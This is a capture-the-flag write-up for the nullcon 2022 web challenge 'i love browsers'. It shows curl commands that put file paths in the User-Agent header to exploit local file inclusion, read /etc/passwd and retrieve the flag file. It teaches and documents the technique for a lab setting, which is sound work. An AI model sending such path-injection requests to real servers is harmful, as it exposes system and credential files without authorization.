# i love browsers
```
I just love browsers! That's why I launched a discussion board about them. To
avoid flame wars it's segregated though.
52.59.124.14:10009
```
Visiting the website greets you with `Hello [your browser]!` message:
The only way the website would really know what browser we use is either
through JavaScript (which the site doesn't have any) or through the User-Agent
header the browser sends. Trying different values like `User-Agent: safari`
also works, and if you play around with the possible values you'll notice that
it only cares about the last word and ignores everything to the right of /
(used to provide the browser version) if the last word contains that. Though
if the user-agent has more than a single dot, it'll return an error:
```
└─$ curl -H "User-Agent: .." http://52.59.124.14:10009
This incident will be reported
```
And as two dots usually indicate going up in a directory, we can try an
absolute path instead revealing that we're able to do LFI. Trying this with
`/etc/passwd` will reveal us a hint of the flag's location:
```
└─$ curl -H "User-Agent: /etc/passwd" http://52.59.124.14:10009
Hello /etc/passwd user
Hello /etc/passwd user
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
#flag is in /app/FLAG.txt
| Author |
Comment |
| testron |
tata |
└─$ curl -H "User-Agent: /app/FLAG.txt" http://52.59.124.14:10009
Hello /app/FLAG.txt user
Hello /app/FLAG.txt user
ENO{Why,os.path,why?}
| Author |
Comment |
| testron |
tata |
```
Flag: `ENO{Why,os.path,why?}`
Original writeup (https://github.com/TrixterTheTux/CTF-
Writeups/blob/main/nullconctf_2022/web/i_love_browsers.md).